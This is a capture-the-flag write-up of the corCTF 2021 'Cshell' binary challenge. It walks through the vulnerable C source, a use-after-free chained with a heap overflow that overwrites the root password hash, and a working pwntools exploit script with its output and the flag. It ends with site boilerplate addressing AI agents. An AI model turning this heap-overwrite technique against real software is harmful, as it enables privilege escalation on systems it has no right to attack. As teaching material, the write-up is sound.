# corCTF 2021: Cshell

## TL;DR

> Abuses a boundary-check misconfiguration to overwrite a previously freed chunk (Use-After Free), then overflow it to reset the root account's hash.

## Basic File Checks

When we run the binary, we are asked to create a new user profile. We can provide a username, password and most importantly, a bio with the character limit of 200 words. To exploit the challenge, we need to find a way to become `root` with an UID of 0.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./Cshell       
       /\
      {.-}
     ;_.-'\
    {    _.}_
    \.-' /  `,
     \  |    /
      \ |  ,/
       \|_/

Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
> testtest
Welcome to the system testtest, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> pass
How many characters will your bio be (200 max)?
> 200
Great, please type your bio.
> nope

+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 2
testtest, uid: 1000

+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 3
Who do you think you are?
```

Only canary and NX is enabled, meaning we have to combine a canary leak + ROP attack if we were exploiting a buffer overflow. However, this could also be hinting at the possibility of a heap-related exploitation.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=Cshell 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   2280 Symbols      No    0               0               Cshell
```

## Static Code Analysis

The source code provided for this challenge is relatively lengthy, so let's go through each function one by one to understand the workflow and find a way to exploit it. (Some useless functions are removed for brevity)

At the beginning, the structure for a LinkedList *tracker* is initialized to store records of the *users* data type. The only takeaway here is that the *name* and *passwd* buffer for a user is 8 bytes and 35 bytes in size respectively.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>

//gcc Cshell.c -static -lcrypt -o Cshell

struct users {
	char name[8];
	char passwd[35];
};

struct tracker{
	struct tracker *next;
	struct users *ptr;
	char name[8];
	long int id;
};

char * alex_buff;
char * Charlie_buff;
char * Johnny_buff;
char * Eric_buff;

struct users *user;
struct users *root;

struct tracker *root_t;
struct tracker *user_t;

char *username[8];
char *userbuffer;
int uid=1000;
int length;
char salt[5] = "1337\0";
char *hash;

void menu(){
	puts("+----------------------+");
	puts("|        Commands      |");
	puts("+----------------------+");
	puts("| 1. logout            |");
	puts("| 2. whoami            |");
	puts("| 3. bash (ROOT ONLY!) |");
	puts("| 4. squad             |");
	puts("| 5. exit              |");
	puts("+----------------------+");
	int option;
	printf("Choice > ");
	scanf("%i",&option);
	switch(option){
		case 1:
			logout();
		case 2:
			whoami();
		case 3:
			bash();
		case 4:
			squad();
		case 5:
			exit(0);
		default:
			puts("[!] invalid choice \n");
			break;
	}
}
```

The LinkedList is iterated at the `logout()` function to find the existence of a user via it's username. If it finds one with that name, it will ask for a password and then hashes the plaintext password with the `1337` salt and checks the resulting hash against the stored hash.

```c
void logout(){
	fflush(stdin);
	getchar();
	struct tracker *ptr;
	printf("Username:");
	char username_l[9];
	char password_l[32];
	char *hash;
	scanf("%8s",username_l);
	for (ptr = root_t; ptr != NULL; ptr = root_t->next) {

        if (strcmp(ptr->name, username_l) == 0) {
            printf("Password:");
            scanf("%32s",password_l);
            hash = crypt(password_l,salt);
            if (strcmp(hash,ptr->ptr->passwd) == 0){
                strcpy(username,ptr->name);
                uid = ptr->id;
                puts("Authenticated!");
                menu();
            }
            else{
                puts("Incorrect");
                logout();
            }
        }
        else
        {
            if (ptr->next==0)
            {
                puts("Sorry no users with that name.");
                logout();
            }
        }
    }
}
```

At mentioned above, we need to select `3` from the menu as the `root` user to gain a bash shell. We can either tackle this challenge by cracking/guessing the root password or overwrite the password via some kind of overflow.

```c
void bash(){
	if (uid == 0){
		system("bash");
	}
	else 
	{
		puts("Who do you think you are?");
		exit(0);
	}
}
```

Despite the root’s password being visible as plaintext in the `main()` function, we can never access the root account by using `guessme:)` as the password. This is because our input will undergo irreversible hashing algorithm before it is compared with the stored hash. As a result, the comparison will always lead to a contradiction statement that is always false.

```c
int main(){
	setvbuf(stdout, 0 , 2 , 0);
	setvbuf(stdin, 0 , 2 , 0);
	root_t = malloc(sizeof(struct tracker));
	user_t = malloc(sizeof(struct tracker));
	history();
	banner();
	user = malloc(sizeof(struct users )* 4);
	root = user + 1;
	strcpy(user->name,"tempname");
	strcpy(user->passwd,"placeholder");
	strcpy(root->name,"root");
	strcpy(root->passwd,"guessme:)");
	strcpy(root_t->name,"root");
	root_t->ptr = root;
	root_t->id = 0;
	root_t->next = user_t;
	setup();
	strcpy(user->name,username);
	strcpy(user->passwd,hash);
	strcpy(user_t->name,username);
	user_t->id=1000;
	user_t->ptr = user;
	user_t->next = NULL;
	menu();
	return 0;
}
```

If we look at the code for `history()`, we can see what it was talking about when it said `you are our 3rd user. We used to have more but some have deleted their accounts`. Essentially, what happens here is that the two pointers to heap allocated memory of the buffer of Charlie and Eric aren't cleaned up, thereby presenting our first vulnerability of *Use-After-Free (UAF).*

```c
void history(){
	alex_buff = malloc(0x40);
	char alex_data[0x40] = "Alex\nJust a user on this system.\0";
	char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";
	char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";
	char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";
	strcpy(alex_buff,alex_data);
	Charlie_buff = malloc(0x50);
	strcpy(Charlie_buff,Charlie);
	Johnny_buff = malloc(0x60);
	strcpy(Johnny_buff,Johnny);
	Eric_buff = malloc(0x80);
	strcpy(Eric_buff,Eric);
	free(Charlie_buff);
	free(Eric_buff);
}
```

The second vulnerability is a *Heap Overflow* that occurs in our bio when `setup()` is called. In short, It asks us for a length of bio, then allocates it with our *length + 8*, but call `fgets` to receive 201 characters anyway. To exploit this flaw, we can ask for a bio size smaller than 201 and achieve heap overflow.

Additionally, the `username` buffer, whose size is 8 bytes, is allocated with the `scanf()` function, reading up to 8 bytes. This could be a problem because `scanf()` writes the null terminator at the end, so indeed 9 bytes are written.&#x20;

```c
void setup(){
	char password_L[33];
	puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");
	printf("Enter a username up to 8 characters long.\n> ");
	scanf("%8s",username);
	printf("Welcome to the system %s, you are our 3rd user. We used to have more 
    but some have deleted their accounts.\nCreate a password.\n> ",username);
	scanf("%32s",&password_L);
	hash = crypt(password_L,salt);
	printf("How many characters will your bio be (200 max)?\n> ");
	scanf("%d",&length);
	userbuffer = malloc(length + 8);
	printf("Great, please type your bio.\n> ");
	getchar();
	fgets((userbuffer + 8),201,stdin);
}
```

## Heap Visualization

Keeping track of all the invocation of `malloc()`, in order of execution, from `main()` all the way until `setup()`, we can visualize how the heap is allocated.

<table><thead><tr><th width="129" align="center">Size</th><th align="center">Code</th></tr></thead><tbody><tr><td align="center">0x30</td><td align="center"><code>root_t = malloc(sizeof(struct tracker))</code></td></tr><tr><td align="center">0x30</td><td align="center"><code>user_t = malloc(sizeof(struct tracker))</code></td></tr><tr><td align="center">0x50</td><td align="center"><code>alex_buff = malloc(0x40)</code></td></tr><tr><td align="center">0x60</td><td align="center"><code>Charlie_buff = malloc(0x50)</code></td></tr><tr><td align="center">0x70</td><td align="center"><code>Johnny_buff = malloc(0x60)</code></td></tr><tr><td align="center">0x90</td><td align="center"><code>Eric_buff = malloc(0x80)</code></td></tr><tr><td align="center">-</td><td align="center"><code>free(Charlie_buff)</code></td></tr><tr><td align="center">-</td><td align="center"><code>free(Eric_buff)</code></td></tr><tr><td align="center">0xc0</td><td align="center"><code>user = malloc(sizeof(struct users )* 4)</code></td></tr></tbody></table>

Note that the last *users* struct actually holds the record for both *user* and *root*, which explains why the size is relatively larger.

<figure><img src="/files/H4vKgrcw7gWTjbkMX6Fz" alt=""><figcaption></figcaption></figure>

## Exploit Plan

In order to chain the *Use-After-Free (UAF)* vulnerability with heap overflow, we have to reuse a previously freed chunk of matching sizes. If we allocate 120 characters for our bio, combined with the automatic addition of *+8*, it will be the same size as Eric's buffer (`0x80`) that was previously freed.&#x20;

Afterwards, since we are free to write anything to our own bio, Eric's buffer in this case, we can overflow it to overwrite the *passwd* of root account, because the *users struct* is just coincidentally below *Eric\_buff*.

### Calculating Padding

`128 + 8 + 8 + 35 + root + passwd`

1. We obviously need to fill the entirety of Eric's buffer before we can achieve a heap overflow, so we need 128 bytes of padding.
2. Now, notice that each and every heap chunk contains a magic byte as it's header. In this case, we need to fill the *users struct* header with 8 bytes.
3. Recall that the *name* and *passwd* buffer for a user is 8 bytes and 35 bytes in size respectively, and our *user* account is located on top of our *root* account. Hence, we need to overwrite the attributes of *user* account (8 + 35) with junk before we can reach the *root* account.
4. At this point, we have finally reached the *struct* for the *root* account. To prevent corruption, we need to overwrite the *root* username back as how it was, then finally write our custom password.

### Generate Custom Hash

Reusing part of the hashing algorithm provided in the source code, we can generate our own password to overwrite the root account.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
//gcc hash.c -static -lcrypt -o hash

char salt[5] = "1337\0";
char *hash;

int main(){
	char password_L[33];
	char output[33] = "";
	char buffer[50];  

	printf("Create a password.\n> ");
	scanf("%32s",&password_L);

	char *hash = crypt(password_L,salt);
	printf("%s\n", hash);

	size_t len = strlen(hash); 
	for (size_t i = 0; i <= len; i++)
	{
		sprintf(buffer, "\\x%x", hash[i]);
		strcat(output, buffer);
	}

	printf("%s", output);
}
```

Compile and run the hashing binary to derive the hex bytes for our custom password.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ gcc hash.c -static -lcrypt -o hash
                                                                                                                                                  
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./hash                            
Create a password.
> securepassword
13dUb0ohO9yjc
\x31\x33\x64\x55\x62\x30\x6f\x68\x4f\x39\x79\x6a\x63\x0a
```

## Solution

Putting everything together in *pwntools* to automate the attack.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3
from pwn import *

elf = ELF('./Cshell')

p = elf.process()

def register():
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "test")
	p.sendline(b"test")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "rockyou")
	p.sendline(b"rockyou")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "120")
	p.sendline(b"120")

def exploit():
	# Padding of 179
	padding = b"A"*128 # Fill Eric's buffer
	padding += b"A"*8 # Fill users struct header
	padding += b"A"*8 # Fill username for user
	padding += b"A"*35 # Fill password for user

	root_hex = p64(0x746f6f72) # root
	hashed_passwd = b"\x31\x33\x64\x55\x62\x30\x6f\x68\x4f\x39\x79\x6a\x63\x0a" # securepassword

	payload = padding
	payload += root_hex
	payload += hashed_passwd

	print(p.recvuntil(b"> ").decode(encoding='ascii'))
	p.sendline(payload) 

	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "1")
	p.sendline(b"1")
	print(p.recvuntil(b":").decode(encoding='ascii') +  "root")
	p.sendline(b"root")
	print(p.recvuntil(b":").decode(encoding='ascii') +  "securepassword")
	p.sendline(b"securepassword")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "3")
	p.sendline(b"3")

def main():
	register()
	exploit()
	p.interactive()

if __name__ == "__main__":
	main()
```

{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py           
[*] '/home/kali/Desktop/Cshell'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/kali/Desktop/Cshell': pid 2280
       /\
      {.-}
     ;_.-'\
    {    _.}_
    \.-' /  `,
     \  |    /
      \ |  ,/
       \|_/

Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
> test
Welcome to the system test, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> rockyou
How many characters will your bio be (200 max)?
> 120
Great, please type your bio.
> 
+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 1 
Username: root
Password: securepassword
Authenticated!
+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 3
[*] Switching to interactive mode
$ cat flag.txt
corctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}
```

**Flag:** corctf{tc4ch3\_r3u5e\_p1u5\_0v3rfl0w\_equ4l5\_r007}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/corctf-2021-cshell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
